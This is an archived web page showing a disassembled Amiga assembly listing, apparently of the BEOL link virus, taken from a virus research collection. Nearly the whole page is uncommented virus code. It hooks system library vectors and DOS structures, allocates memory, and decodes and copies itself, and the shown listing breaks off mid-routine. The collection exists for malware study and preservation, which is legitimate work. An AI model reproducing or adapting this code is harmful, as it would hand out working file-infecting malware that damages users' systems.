home *** CD-ROM | disk | FTP | other *** search
/ telefisk.org / amiga_virus_collection_research.7z / VIRUSRESEARCH / BEOL_LINKVIRUS / BEOL96_MEM.ASM < prev    next >
Assembly Source File  |  1999-06-12  |  28KB  |  1,106 lines
  1. ; IRA V1.02  (Sep  6 1993)  (c)1993  Tim Ruehsen
  2.  
  3.  
  4. ABSEXECBASE    EQU    $4
  5. CHK        EQU    $18
  6. EXT_0002    EQU    $3F2
  7. EXT_0003    EQU    $400
  8. EXT_0004    EQU    $600
  9. EXT_0005    EQU    $DFF007
  10.  
  11.  
  12.  
  13.  
  14.     SECTION S_0,CODE
  15.  
  16. SECSTRT_0:
  17.     DC.W    $001F            ;000
  18.     LSL.L    D2,D6            ;002: E5AE
  19.     DC.W    $0000            ;004
  20.     DC.W    $3328            ;006
  21.     DC.W    $FFFF            ;008
  22.     DC.W    $001F            ;00A
  23.     ROXL    -(A6)            ;00C: E5E6
  24.     DC.W    $001F            ;00E
  25.     ROL.L    D2,D4            ;010: E5BC
  26.     DC.W    $001F            ;012
  27.     ASL.L    D2,D0            ;014: E5A0
  28.     ORI.B    #$1F,D0            ;016: 0000001F
  29.     ROXR    #3,D6            ;01A: E656
  30.     DC.W    $0000            ;01C
  31.     DC.W    $332C            ;01E
  32.     DC.W    $001F            ;020
  33.     LSL.L    D2,D6            ;022: E5AE
  34.     ORI.B    #$1F,D0            ;024: 0000001F
  35.     DC.W    $E6C6            ;028
  36.     DC.W    $FFFF            ;02A
  37.     ORI.B    #$00,D0            ;02C: 00000000
  38.     DC.W    $FFFF            ;030
  39.     DC.W    $FFFF            ;032
  40.     ORI.B    #$00,D0            ;034: 00000000
  41.     DC.W    $001F            ;038
  42.     LSR    #3,D0            ;03A: E648
  43.     DC.W    $001F            ;03C
  44.     ROL    -(A2)            ;03E: E7E2
  45.     BTST    D0,D1            ;040: 0101
  46.     DC.W    $001F            ;042
  47.     ASR.B    #3,D6            ;044: E606
  48.     NEG    D6            ;046: 4446
  49.     MOVE    D0,D0            ;048: 3000
  50.     DC.W    $FFFF            ;04A
  51.     ORI.B    #$00,D0            ;04C: 00000000
  52.     DC.W    $FFFF            ;050
  53.     DC.W    $FFFF            ;052
  54.     ORI.B    #$00,D0            ;054: 00000000
  55.     DC.W    $FFFF            ;058
  56.     DC.W    $FFFF            ;05A
  57.     ORI.B    #$00,D0            ;05C: 00000000
  58.     DC.W    $FFFF            ;060
  59.     DC.W    $FFFF            ;062
  60.     DC.W    $0000            ;064
  61.     DC.W    $456E            ;066
  62.     BSR.S    LAB_0001        ;068: 6162
  63.     DC.W    $6C65            ;06A
  64.     BCC.S    LAB_0000        ;06C: 6420
  65.     MOVE.L    8260(A5),D0        ;06E: 202D2044
  66.     NOT.B    32(A0,D2.W)        ;072: 46302020
  67.     MOVE.L    -(A0),D0        ;076: 2020
  68.     MOVE.L    -(A0),D0        ;078: 2020
  69.     MOVE.L    -(A0),D0        ;07A: 2020
  70.     DC.W    $2070            ;07C
  71.     MOVEQ    #105,D1            ;07E: 7269
  72.     BLE.S    LAB_0002        ;080: 6F72
  73.     BVS.S    LAB_0003        ;082: 6974
  74.     DC.W    $7920            ;084
  75.     MOVE    -(A0),-(A2)        ;086: 3520
  76.     MOVE.L    -(A0),D0        ;088: 2020
  77.     MOVEA.L    D1,A0            ;08A: 2041
  78.     DC.W    $444F            ;08C
  79. LAB_0000:
  80.     SUBQ.B    #1,-(A0)        ;08E: 5320
  81.     DC.W    $2074            ;090
  82.     MOVEQ    #97,D1            ;092: 7261
  83.     DC.W    $636B            ;094
  84.     DC.W    $6469            ;096
  85.     DC.W    $736B            ;098
  86.     MOVE.L    0(A0,D0.W),-(A6)    ;09A: 2D300000
  87.     DC.W    $0000            ;09E
  88.     DC.W    $FFFF            ;0A0
  89.     DC.W    $FFFF            ;0A2
  90.     ORI.B    #$00,D0            ;0A4: 00000000
  91.     DC.W    $001F            ;0A8
  92.     ROR.L    D3,D0            ;0AA: E6B8
  93.     DC.W    $001F            ;0AC
  94.     ROXL    (A0)+            ;0AE: E5D8
  95.     BTST    D0,D1            ;0B0: 0101
  96.     DC.W    $001F            ;0B2
  97.     ROXR    D3,D6            ;0B4: E676
  98.     DC.W    $4343            ;0B6
  99.     MOVE    D0,D0            ;0B8: 3000
  100.     DC.W    $FFFF            ;0BA
  101.     ORI.B    #$00,D0            ;0BC: 00000000
  102.     DC.W    $FFFF            ;0C0
  103.     DC.W    $FFFF            ;0C2
  104.     ORI.B    #$00,D0            ;0C4: 00000000
  105.     DC.W    $FFFF            ;0C8
  106.     DC.W    $FFFF            ;0CA
  107. LAB_0001:
  108.     ORI.B    #$00,D0            ;0CC: 00000000
  109.     DC.W    $FFFF            ;0D0
  110.     DC.W    $FFFF            ;0D2
  111.     DC.W    $0000            ;0D4
  112.     DC.W    $456E            ;0D6
  113.     BSR.S    LAB_0005        ;0D8: 6162
  114.     DC.W    $6C65            ;0DA
  115.     BCC.S    LAB_0004        ;0DC: 6420
  116.     DC.W    $202D            ;0DE
  117.     MOVEA.L    D3,A0            ;0E0: 2043
  118.     DC.W    $4330            ;0E2
  119.     MOVE.L    -(A0),D0        ;0E4: 2020
  120.     MOVE.L    -(A0),D0        ;0E6: 2020
  121.     MOVE.L    -(A0),D0        ;0E8: 2020
  122.     MOVE.L    -(A0),D0        ;0EA: 2020
  123.     DC.W    $2070            ;0EC
  124.     MOVEQ    #105,D1            ;0EE: 7269
  125.     BLE.S    LAB_0006        ;0F0: 6F72
  126.     BVS.S    LAB_0007        ;0F2: 6974
  127. LAB_0002:
  128.     DC.W    $7920            ;0F4
  129.     MOVE    -(A0),-(A1)        ;0F6: 3320
  130. LAB_0003:
  131.     MOVE.L    -(A0),D0        ;0F8: 2020
  132.     MOVEA.L    D1,A0            ;0FA: 2041
  133.     DC.W    $444F            ;0FC
  134. LAB_0004:
  135.     SUBQ.B    #1,-(A0)        ;0FE: 5320
  136.     MOVEA.L    -(A3),A0        ;100: 2063
  137.     BSR.S    LAB_000A        ;102: 6172
  138.     BCC.S    LAB_0008        ;104: 6464
  139.     DC.W    $6973            ;106
  140.     DC.W    $6B2D            ;108
  141.     MOVE    D0,D0            ;10A: 3000
  142.     ORI.B    #$00,D0            ;10C: 00000000
  143.     DC.W    $FFFF            ;110
  144.     DC.W    $FFFF            ;112
  145.     ORI.B    #$00,D0            ;114: 00000000
  146.     DC.W    $001F            ;118
  147.     LSL.B    D3,D0            ;11A: E728
  148.     DC.W    $001F            ;11C
  149.     LSR    #3,D0            ;11E: E648
  150.     BTST    D0,D1            ;120: 0101
  151.     DC.W    $001F            ;122
  152.     ROR    -(A6)            ;124: E6E6
  153.     SWAP    D4            ;126: 4844
  154.     MOVE    D0,D0            ;128: 3000
  155.     DC.W    $FFFF            ;12A
  156.     ORI.B    #$00,D0            ;12C: 00000000
  157.     DC.W    $FFFF            ;130
  158.     DC.W    $FFFF            ;132
  159.     ORI.B    #$00,D0            ;134: 00000000
  160.     DC.W    $FFFF            ;138
  161.     DC.W    $FFFF            ;13A
  162. LAB_0005:
  163.     ORI.B    #$00,D0            ;13C: 00000000
  164.     DC.W    $FFFF            ;140
  165.     DC.W    $FFFF            ;142
  166.     DC.W    $0000            ;144
  167.     DC.W    $456E            ;146
  168.     BSR.S    LAB_000B        ;148: 6162
  169.     DC.W    $6C65            ;14A
  170.     BCC.S    LAB_0009        ;14C: 6420
  171.     MOVE.L    8264(A5),D0        ;14E: 202D2048
  172.     NEG.B    32(A0,D2.W)        ;152: 44302020
  173.     MOVE.L    -(A0),D0        ;156: 2020
  174.     MOVE.L    -(A0),D0        ;158: 2020
  175.     MOVE.L    -(A0),D0        ;15A: 2020
  176.     DC.W    $2070            ;15C
  177.     MOVEQ    #105,D1            ;15E: 7269
  178.     BLE.S    LAB_000C        ;160: 6F72
  179.     BVS.S    LAB_000D        ;162: 6974
  180. LAB_0006:
  181.     DC.W    $7920            ;164
  182.     MOVE    -(A0),D0        ;166: 3020
  183. LAB_0007:
  184.     MOVE.L    -(A0),D0        ;168: 2020
  185. LAB_0008:
  186.     MOVEA.L    D1,A0            ;16A: 2041
  187.     DC.W    $444F            ;16C
  188. LAB_0009:
  189.     SUBQ.B    #1,-(A0)        ;16E: 5320
  190.     DC.W    $2073            ;170
  191.     DC.W    $6373            ;172
  192.     DC.W    $692D            ;174
  193. LAB_000A:
  194.     MOVE    D0,D0            ;176: 3000
  195.     DC.W    $FFFF            ;178
  196.     DC.W    $FFFF            ;17A
  197.     ORI.B    #$00,D0            ;17C: 00000000
  198.     DC.W    $FFFF            ;180
  199.     DC.W    $FFFF            ;182
  200.     ORI.B    #$00,D0            ;184: 00000000
  201.     DC.W    $001F            ;188
  202.     ROL    -(A6)            ;18A: E7E6
  203.     DC.W    $001F            ;18C
  204.     ROR.L    D3,D0            ;18E: E6B8
  205.     BTST    D0,D1            ;190: 0101
  206.     DC.W    $001F            ;192
  207.     ROXL    #3,D6            ;194: E756
  208.     SWAP    D4            ;196: 4844
  209.     MOVE    D0,-(A0)        ;198: 3100
  210.     DC.W    $FFFF            ;19A
  211.     ORI.B    #$00,D0            ;19C: 00000000
  212.     DC.W    $FFFF            ;1A0
  213.     DC.W    $FFFF            ;1A2
  214.     ORI.B    #$00,D0            ;1A4: 00000000
  215.     DC.W    $FFFF            ;1A8
  216.     DC.W    $FFFF            ;1AA
  217. LAB_000B:
  218.     ORI.B    #$00,D0            ;1AC: 00000000
  219.     DC.W    $FFFF            ;1B0
  220.     DC.W    $FFFF            ;1B2
  221.     DC.W    $0000            ;1B4
  222.     DC.W    $456E            ;1B6
  223.     BSR.S    LAB_0010        ;1B8: 6162
  224.     DC.W    $6C65            ;1BA
  225.     BCC.S    LAB_000E        ;1BC: 6420
  226.     MOVE.L    8264(A5),D0        ;1BE: 202D2048
  227.     NEG.B    32(A1,D2.W)        ;1C2: 44312020
  228.     MOVE.L    -(A0),D0        ;1C6: 2020
  229.     MOVE.L    -(A0),D0        ;1C8: 2020
  230.     MOVE.L    -(A0),D0        ;1CA: 2020
  231.     MOVEA.L    28532(A6),A0        ;1CC: 206E6F74
  232.     MOVEA.L    -(A2),A0        ;1D0: 2062
  233.     DC.W    $6F6F            ;1D2
  234. LAB_000C:
  235.     MOVEQ    #97,D2            ;1D4: 7461
  236.     BHI.S    LAB_0011        ;1D6: 626C
  237. LAB_000D:
  238.     BCS.S    LAB_000F        ;1D8: 6520
  239.     MOVEA.L    D1,A0            ;1DA: 2041
  240.     DC.W    $444F            ;1DC
  241. LAB_000E:
  242.     SUBQ.B    #1,-(A0)        ;1DE: 5320
  243.     DC.W    $2073            ;1E0
  244.     DC.W    $6373            ;1E2
  245.     DC.W    $692D            ;1E4
  246.     MOVE    D0,D0            ;1E6: 3000
  247.     DC.W    $FFFF            ;1E8
  248.     DC.W    $FFFF            ;1EA
  249.     ORI.B    #$00,D0            ;1EC: 00000000
  250.     DC.W    $FFFF            ;1F0
  251.     DC.W    $FFFF            ;1F2
  252.     ORI.B    #$00,D0            ;1F4: 00000000
  253.     DC.W    $FFFF            ;1F8
  254. LAB_000F:
  255.     DC.W    $FFFF            ;1FA
  256.     ORI.B    #$00,D0            ;1FC: 00000000
  257.     ILLEGAL                ;200: 4AFC
  258.     DC.W    $001F            ;202
  259.     ASL.L    D3,D0            ;204: E7A0
  260.     DC.W    $001F            ;206
  261.     DC.W    $E7C2            ;208
  262.     DC.W    $FFFF            ;20A
  263.     DC.W    $00CE            ;20C
  264.     DC.W    $00F8            ;20E
  265.     ADD.B    -1(A0),D1        ;210: D228FFFF
  266.     ORI.B    #$00,D0            ;214: 00000000
  267.     DC.W    $FFFF            ;218
  268.     DC.W    $001F            ;21A
  269. LAB_0010:
  270.     ASL.L    D3,D0            ;21C: E7A0
  271.     ORI.B    #$00,D0            ;21E: 00000000
  272.     ORI.B    #$00,D0            ;222: 00000000
  273.     DC.W    $0000            ;226
  274.     DC.W    $FFFF            ;228
  275.     DC.W    $11FF            ;22A
  276.     ORI.B    #$00,D0            ;22C: 00000000
  277.     ORI.B    #$1F,D2            ;230: 0002001F
  278.     ROL.L    #3,D0            ;234: E798
  279.     ORI.B    #$68,D0            ;236: 00000068
  280.     DC.W    $001F            ;23A
  281.     ROXL    (A0)            ;23C: E5D0
  282.     DC.W    $0000            ;23E
  283.     DC.W    $01C8            ;240
  284.     DC.W    $001F            ;242
  285. LAB_0011:
  286.     ROXL    (A0)+            ;244: E5D8
  287.     ORI.B    #$00,D0            ;246: 00000000
  288.     DC.W    $001F            ;24A
  289.     LSL.B    D3,D0            ;24C: E728
  290.     DC.W    $001F            ;24E
  291.     ROXL    (A0)+            ;250: E5D8
  292.     ORI.B    #$01,D0            ;252: 00000001
  293.     ORI.B    #$02,D0            ;256: 00000002
  294.     ORI.B    #$00,D0            ;25A: 00000000
  295.     BTST    D0,D0            ;25E: 0100
  296. LAB_0012:
  297.     LEA    LAB_0018(PC),A0        ;260: 41FA018C
  298.     MOVE.L    (A0),D0            ;264: 2010
  299. LAB_0013:
  300.     SUBQ    #2,A0            ;266: 5548
  301.     CMP.L    (A0),D0            ;268: B090
  302.     BNE.S    LAB_0013        ;26A: 66FA
  303.     MOVE    #$4EF9,(A0)        ;26C: 30BC4EF9
  304.     MOVE.L    -(A0),D2        ;270: 2420
  305.     LSL.L    #2,D2            ;272: E58A
  306.     ADDQ.L    #4,D2            ;274: 5882
  307.     MOVE.L    D2,6(A0)        ;276: 21420006
  308.     MOVEA.L    D2,A0            ;27A: 2042
  309.     EORI    #$39EF,(A0)        ;27C: 0A5039EF
  310.     LEA    LAB_0012(PC),A1        ;280: 43FAFFDE
  311.     MOVEA.L    58(A6),A0        ;284: 206E003A
  312.     MOVE    #$037A,D7        ;288: 3E3C037A
  313. LAB_0014:
  314.     MOVE    (A1)+,(A0)+        ;28C: 30D9
  315.     DBF    D7,LAB_0014        ;28E: 51CFFFFC
  316.     PEA    -1400(A0)        ;292: 4868FA88
  317.     JMP    -636(A6)        ;296: 4EEEFD84
  318.     CLR    D5            ;29A: 4245
  319.     DC.W    $4F4C            ;29C
  320.     DC.W    $3936            ;29E
  321.     EOR.B    D2,D0            ;2A0: B500
  322.     RTS                ;2A2: 4E75
  323.     SUB.B    D2,D0            ;2A4: 9002
  324.     RTS                ;2A6: 4E75
  325.     ROR.B    #3,D0            ;2A8: E618
  326.     RTS                ;2AA: 4E75
  327.     ADD.B    D2,D0            ;2AC: D002
  328.     RTS                ;2AE: 4E75
  329.     DC.W    $180C            ;2B0
  330.     BTST    D7,(A5)            ;2B2: 0F15
  331.     BTST    D7,(A0)+        ;2B4: 0F18
  332.     DC.W    $040D            ;2B6
  333.     MOVE.B    (A0),D0            ;2B8: 1010
  334.     DC.W    $110A            ;2BA
  335.     ROXL.B    #1,D1            ;2BC: E311
  336.     DC.W    $06E4            ;2BE
  337.     MOVE.B    D4,-(A0)        ;2C0: 1104
  338.     LSL.B    #4,D5            ;2C2: E90D
  339.     MOVE.B    3331(A0),(A1)+        ;2C4: 12E80D03
  340.     MOVEP    4112(A1),D1        ;2C8: 03091010
  341.     DC.W    $0203            ;2CC
  342.     ROL.B    #3,D0            ;2CE: E718
  343.     MOVEP    784(A1),D1        ;2D0: 03090310
  344.     OR.B    (A2),D0            ;2D4: 8012
  345.     ADDX.B    D0,D0            ;2D6: D100
  346.     DC.W    $041C            ;2D8
  347.     DC.W    $0A13            ;2DA
  348.     MOVEP    16890(A1),D0        ;2DC: 010941FA
  349.     DC.W    $0E00            ;2E0
  350.     MOVEP    16890(A1),D0        ;2E2: 010941FA
  351.     DC.W    $0F0C            ;2E6
  352.     BCHG    D4,(A1)            ;2E8: 0951
  353.     OR.B    D1,D4            ;2EA: 8801
  354.     BCHG    D4,D1            ;2EC: 0941
  355.     DC.W    $FA10            ;2EE
  356.     DC.W    $0C09            ;2F0
  357.     ADDQ.L    #8,A0            ;2F2: 5088
  358.     DC.W    $0448            ;2F4
  359.     MOVEQ    #14,D5            ;2F6: 7A0E
  360.     DC.W    $0109            ;2F8
  361.     MOVEA.L    (A7)+,A0        ;2FA: 205F
  362.     DC.W    $0004            ;2FC
  363.     MOVE.B    (A3)+,-(A0)        ;2FE: 111B
  364.     MOVE.L    D1,-(A3)        ;300: 2701
  365.     DC.W    $0841            ;302
  366.     DC.W    $F804            ;304
  367.     DC.W    $077F            ;306
  368.     BTST    D1,D2            ;308: 0302
  369.     DC.W    $0820            ;30A
  370.     DC.W    $0800            ;30C
  371.     DC.W    $0548            ;30E
  372.     MOVEQ    #7,D4            ;310: 7807
  373.     DC.W    $7F01            ;312
  374.     DC.W    $0220            ;314
  375.     MOVE.B    D0,-(A7)        ;316: 1F00
  376.     BTST    D0,D2            ;318: 0102
  377.     MOVE    #$0B06,D0        ;31A: 303C0B06
  378.     DC.W    $077F            ;31E
  379.     DC.W    $0C02            ;320
  380.     SUBQ    #8,D0            ;322: 5140
  381.     BTST    D0,D2            ;324: 0102
  382.     MOVE    #$0607,D0        ;326: 303C0607
  383.     DC.W    $7F02            ;32A
  384.     DC.W    $0206            ;32C
  385.     NEGX.B    D7            ;32E: 4007
  386. LAB_0015:
  387.     OR.L    D5,D0            ;330: 8085
  388.     OR.L    D2,-(A7)        ;332: 85A7
  389.     DC.W    $CC09            ;334
  390.     DC.W    $7D2F            ;336
  391.     ADDQ.B    #8,D7            ;338: 5007
  392.     DC.W    $0409            ;33A
  393.     MOVE.B    (A7)+,-(A2)        ;33C: 151F
  394.     DC.W    $0209            ;33E
  395.     ADDQ    #1,A0            ;340: 5248
  396.     DC.W    $0002            ;342
  397.     MOVEP.L    20484(A0),D4        ;344: 09485004
  398.     ADDQ.L    #1,(A7)            ;348: 5297
  399.     DC.W    $0109            ;34A
  400.     MOVEA.L    (A7)+,A0        ;34C: 205F
  401.     DC.W    $0001            ;34E
  402.     DC.W    $0370            ;350
  403.     BTST    D0,D3            ;352: 0103
  404.     BTST    D4,D3            ;354: 0903
  405.     ADDA    D0,A0            ;356: D0C0
  406.     DC.W    $0003            ;358
  407.     MOVEP    4120(A1),D1        ;35A: 03091018
  408.     DC.W    $0027            ;35E
  409.     DC.W    $0409            ;360
  410.     MOVE.B    (A1),-(A0)        ;362: 1111
  411.     DC.W    $0202            ;364
  412.     DC.W    $51C8            ;366
  413.     DC.W    $0A02            ;368
  414.     ANDI    #$4004,(A3)        ;36A: 02534004
  415.     DC.W    $6A00            ;36E
  416.     DC.W    $0A02            ;370
  417.     DC.W    $024A            ;372
  418.     NEGX.B    D4            ;374: 4004
  419.     BEQ.S    LAB_0016+2        ;376: 6706
  420.     DC.W    $0202            ;378
  421.     SUBQ    #1,D0            ;37A: 5340
  422. LAB_0016:
  423.     SUBI    #$000A,-(A0)        ;37C: 0460000A
  424.     AND.B    D4,D0            ;380: C004
  425.     BTST    D7,(A3)+        ;382: 0F1B
  426.     MOVE.L    D5,-(A3)        ;384: 2705
  427.     PEA    LAB_0017(PC)        ;386: 487A0006
  428.     DC.W    $054E            ;38A
  429.     DC.W    $EEFD            ;38C
  430. LAB_0017:
  431.     OR.B    D0,D2            ;38E: 8400
  432.     BTST    D0,D7            ;390: 0107
  433.     LEA    1789(A6),A0        ;392: 41EE06FD
  434.     OR.B    D2,D2            ;396: 8402
  435.     DC.W    $074E            ;398
  436.     DC.W    $A807            ;39A
  437.     BTST    D0,D1            ;39C: 0101
  438.     MOVE    #$08FD,D0        ;39E: 303C08FD
  439.     OR.B    D4,D2            ;3A2: 8404
  440.     DC.W    $4EB6            ;3A4
  441.     BTST    D4,D1            ;3A6: 0901
  442.     DC.W    $054E            ;3A8
  443.     DC.W    $AEFD            ;3AA
  444.     OR.B    D0,D2            ;3AC: 8400
  445.     DC.W    $040A            ;3AE
  446.     MOVE.B    -(A4),D4        ;3B0: 1824
  447.     BTST    D2,30720(A4)        ;3B2: 052C7800
  448.     DC.W    $0400            ;3B6
  449.     BTST    D0,D0            ;3B8: 0100
  450.     MOVEQ    #4,D0            ;3BA: 7004
  451.     BTST    D1,D6            ;3BC: 0306
  452.     DC.W    $0020            ;3BE
  453.     NEGX.B    D2            ;3C0: 4002
  454.     DC.W    $062C            ;3C2
  455.     ADDQ.B    #8,D0            ;3C4: 5000
  456.     BTST    D0,D0            ;3C6: 0100
  457.     MOVE.L    (EXT_0003).W,D0        ;3C8: 20380400
  458.     SUBI.B    #$2C,D2            ;3CC: 0402002C
  459.     NEGX.B    D0            ;3D0: 4000
  460.     BTST    D0,D6            ;3D2: 0106
  461.     LEA    (EXT_0004).W,A0        ;3D4: 41F80600
  462.     DC.W    $0402            ;3D8
  463.     DC.W    $062C            ;3DA
  464.     DC.W    $6807            ;3DC
  465.     BSR.S    LAB_0018        ;3DE: 610E
  466.     LEA    56(A7),A0        ;3E0: 41EF0038
  467.     MOVEA.L    (A0),A6            ;3E4: 2C50
  468.     MOVE.L    D2,(A0)            ;3E6: 2082
  469.     MOVEM.L    (A7)+,D0-D7/A0-A5    ;3E8: 4CDF3FFF
  470.     RTS                ;3EC: 4E75
  471. LAB_0018:
  472.     MOVEM.L    D0-D7/A0-A6,-(A7)    ;3EE: 48E7FFFE
  473.     JSR    -132(A6)        ;3F2: 4EAEFF7C
  474.     MOVEQ    #13,D1            ;3F6: 720D
  475.     LEA    LAB_001C(PC),A1        ;3F8: 43FA002A
  476.     MOVEA.L    420(A6),A0        ;3FC: 206E01A4
  477.     BSR.S    LAB_001A        ;400: 6110
  478.     MOVEA.L    406(A6),A0        ;402: 206E0196
  479.     BSR.S    LAB_001A        ;406: 610A
  480.     JSR    -138(A6)        ;408: 4EAEFF76
  481.     MOVEM.L    (A7)+,D0-D7/A0-A6    ;40C: 4CDF7FFF
  482. LAB_0019:
  483.     RTS                ;410: 4E75
  484. LAB_001A:
  485.     TST.L    (A0)            ;412: 4A90
  486.     BEQ.S    LAB_0019        ;414: 67FA
  487.     CMP.B    8(A0),D1        ;416: B2280008
  488.     BNE.S    LAB_001B        ;41A: 6604
  489.     MOVE.L    A1,180(A0)        ;41C: 214900B4
  490. LAB_001B:
  491.     MOVEA.L    (A0),A0            ;420: 2050
  492.     BRA.S    LAB_001A        ;422: 60EE
  493. LAB_001C:
  494.     MOVEM.L    D1-D7/A0-A6,-(A7)    ;424: 48E77FFE
  495.     MOVEA.L    (ABSEXECBASE).W,A6    ;428: 2C780004
  496.     MOVEA.L    276(A6),A3        ;42C: 266E0114
  497.     LEA    70(A3),A3        ;430: 47EB0046
  498.     BSR    LAB_0045        ;434: 610002D0
  499.     MOVEA.L    D0,A5            ;438: 2A40
  500.     LEA    (CHK).W,A4        ;43A: 49F80018
  501.     ADDA.L    10(A5),A4        ;43E: D9ED000A
  502.     BSR.S    LAB_0018        ;442: 61AA
  503.     NOT.B    9(A5)            ;444: 462D0009
  504.     BMI.S    LAB_0021        ;448: 6B3E
  505.     MOVE.L    -20(A4),D6        ;44A: 2C2CFFEC
  506.     MOVEA.L    D6,A0            ;44E: 2046
  507.     TST.L    96(A0)            ;450: 4AA80060
  508.     BNE.S    LAB_0021        ;454: 6632
  509.     MOVE.L    -16(A4),D0        ;456: 202CFFF0
  510.     BSR.S    LAB_001E        ;45A: 611E
  511.     DC.W    $040A            ;45C
  512.     DC.W    $0032            ;45E
  513.     BSET    D1,330(A7)        ;460: 03EF014A
  514.     BSET    D1,164(A5)        ;464: 03ED00A4
  515.     ORI    #$0150,(A2)        ;468: 00520150
  516.     ORI.B    #$22,(A0)+        ;46C: 00180022
  517.     ORI.B    #$1E,(A7)        ;470: 0017001E
  518. LAB_001D:
  519.     ADDA    (A0),A0            ;474: D0D0
  520.     JSR    (A0)            ;476: 4E90
  521.     BRA.S    LAB_0020        ;478: 600A
  522. LAB_001E:
  523.     MOVEA.L    (A7)+,A0        ;47A: 205F
  524. LAB_001F:
  525.     CMP    (A0)+,D0        ;47C: B058
  526.     BEQ.S    LAB_001D        ;47E: 67F4
  527.     MOVEA    (A0)+,A1        ;480: 3258
  528.     BLT.S    LAB_001F        ;482: 6DF8
  529. LAB_0020:
  530.     CLR.B    9(A5)            ;484: 422D0009
  531. LAB_0021:
  532.     MOVE.L    A5,D0            ;488: 200D
  533.     MOVEM.L    (A7)+,D1-D7/A0-A6    ;48A: 4CDF7FFE
  534.     RTS                ;48E: 4E75
  535.     SUBA.L    A0,A0            ;490: 91C8
  536.     MOVE.L    102(A3),D0        ;492: 202B0066
  537.     LSL.L    #2,D0            ;496: E588
  538.     BEQ.S    LAB_0028        ;498: 6760
  539.     MOVE.L    16(A0,D0.L),D0        ;49A: 20300810
  540.     LSL.L    #2,D0            ;49E: E588
  541.     BEQ.S    LAB_0028        ;4A0: 6758
  542.     MOVEA.L    D0,A0            ;4A2: 2040
  543.     MOVEQ    #0,D0            ;4A4: 7000
  544.     MOVE.B    (A0)+,D0        ;4A6: 1018
  545.     ADDA    D0,A0            ;4A8: D0C0
  546.     BSR.S    LAB_0023        ;4AA: 6114
  547.     BCLR    D1,-(A0)        ;4AC: 03A0
  548.     SUB    A0,D4            ;4AE: 9848
  549.     BRA.S    LAB_0022        ;4B0: 6002
  550.     SUB    A0,D0            ;4B2: 9048
  551. LAB_0022:
  552.     MOVE.L    A0,D0            ;4B4: 2008
  553.     NEGX.B    (A0)+            ;4B6: 4018
  554.     MOVEQ    #40,D0            ;4B8: 7028
  555.     DC.W    $1058            ;4BA
  556.     DC.W    $9078            ;4BC
  557.     DC.W    $B8FF            ;4BE
  558. LAB_0023:
  559.     MOVEA.L    (A7)+,A1        ;4C0: 225F
  560.     BRA.S    LAB_0025        ;4C2: 6002
  561. LAB_0024:
  562.     ADDA    D7,A1            ;4C4: D2C7
  563. LAB_0025:
  564.     MOVEQ    #0,D7            ;4C6: 7E00
  565.     MOVE.B    (A1)+,D7        ;4C8: 1E19
  566.     BMI.S    LAB_0028        ;4CA: 6B2E
  567.     MOVEA.L    A0,A2            ;4CC: 2448
  568. LAB_0026:
  569.     MOVE.B    -(A2),D0        ;4CE: 1022
  570.     LSL.B    #3,D0            ;4D0: E708
  571.     CMP.B    (A1)+,D0        ;4D2: B019
  572.     BNE.S    LAB_0024        ;4D4: 66EE
  573.     DBF    D7,LAB_0026        ;4D6: 51CFFFF6
  574.     MOVEQ    #36,D0            ;4DA: 7024
  575.     ADD.L    (A4),D0            ;4DC: D094
  576.     LSL.L    #2,D0            ;4DE: E588
  577.     MOVEA.L    D0,A0            ;4E0: 2040
  578.     MOVEA.L    A0,A1            ;4E2: 2248
  579.     BSR.S    LAB_0029        ;4E4: 6116
  580.     BNE.S    LAB_0028        ;4E6: 6612
  581.     ADDA    D0,A0            ;4E8: D0C0
  582.     MOVEQ    #3,D7            ;4EA: 7E03
  583. LAB_0027:
  584.     MOVE.B    (A0)+,D0        ;4EC: 1018
  585.     ROR    #8,D0            ;4EE: E058
  586.     DBF    D7,LAB_0027        ;4F0: 51CFFFFA
  587.     BEQ.S    LAB_0028        ;4F4: 6704
  588.     MOVE.L    D0,-20(A1)        ;4F6: 2340FFEC
  589. LAB_0028:
  590.     RTS                ;4FA: 4E75
  591. LAB_0029:
  592.     MOVEQ    #0,D0            ;4FC: 7000
  593.     MOVE.B    (A0),D0            ;4FE: 1010
  594.     SUBQ    #4,D0            ;500: 5940
  595.     BLT.S    LAB_002A        ;502: 6D04
  596.     TST.B    1(A0,D0.W)        ;504: 4A300001
  597. LAB_002A:
  598.     RTS                ;508: 4E75
  599.     BSR    LAB_0033        ;50A: 6100008C
  600.     TST.L    -12(A4)            ;50E: 4AACFFF4
  601.     BEQ.S    LAB_002A        ;512: 67F4
  602.     MOVEQ    #65,D0            ;514: 7041
  603.     LSL.L    #2,D0            ;516: E588
  604.     MOVEQ    #1,D1            ;518: 7201
  605.     JSR    -684(A6)        ;51A: 4EAEFD54
  606.     MOVE.L    D0,(A3)            ;51E: 2680
  607.     BEQ.S    LAB_002A        ;520: 67E6
  608.     MOVEA.L    D0,A2            ;522: 2440
  609.     LEA    LAB_0048(PC),A0        ;524: 41FA0210
  610.     BSR.S    LAB_0030        ;528: 6152
  611.     MOVEA.L    124(A2),A0        ;52A: 206A007C
  612.     SUBQ    #3,124(A2)        ;52E: 576A007C
  613.     BGE.S    LAB_002B        ;532: 6C02
  614.     ADDQ    #8,D5            ;534: 5045
  615. LAB_002B:
  616.     BGE.S    LAB_0033        ;536: 6C60
  617.     MOVE.L    A0,D5            ;538: 2A08
  618.     ADDA    #$0802,A0        ;53A: D0FC0802
  619.     MOVE.L    A0,D0            ;53E: 2008
  620.     MOVEQ    #1,D1            ;540: 7201
  621.     JSR    -684(A6)        ;542: 4EAEFD54
  622.     MOVE.L    D0,(A2)+        ;546: 24C0
  623.     MOVE.L    D5,(A2)            ;548: 2485
  624.     ADD.L    D0,(A2)+        ;54A: D19A
  625.     MOVE.L    D0,(A2)+        ;54C: 24C0
  626.     BEQ.S    LAB_002C        ;54E: 6706
  627.     LEA    132(A2),A0        ;550: 41EA0084
  628.     BSR.S    LAB_0029        ;554: 61A6
  629. LAB_002C:
  630.     BEQ.S    LAB_0033        ;556: 6740
  631.     ADDQ.B    #4,(A0)            ;558: 5810
  632.     LEA    5(A0,D0.W),A1        ;55A: 43F00005
  633.     CLR.B    (A1)+            ;55E: 4219
  634. LAB_002D:
  635.     MOVE.B    D5,(A1)+        ;560: 12C5
  636.     LSR.L    #8,D5            ;562: E08D
  637.     BNE.S    LAB_002D        ;564: 66FA
  638.     MOVE.L    D4,(A2)+        ;566: 24C4
  639.     MOVE.L    4(A4),D0        ;568: 202C0004
  640.     LSL.L    #2,D0            ;56C: E588
  641.     MOVEA.L    D0,A0            ;56E: 2040
  642.     MOVE.B    (A0)+,D0        ;570: 1018
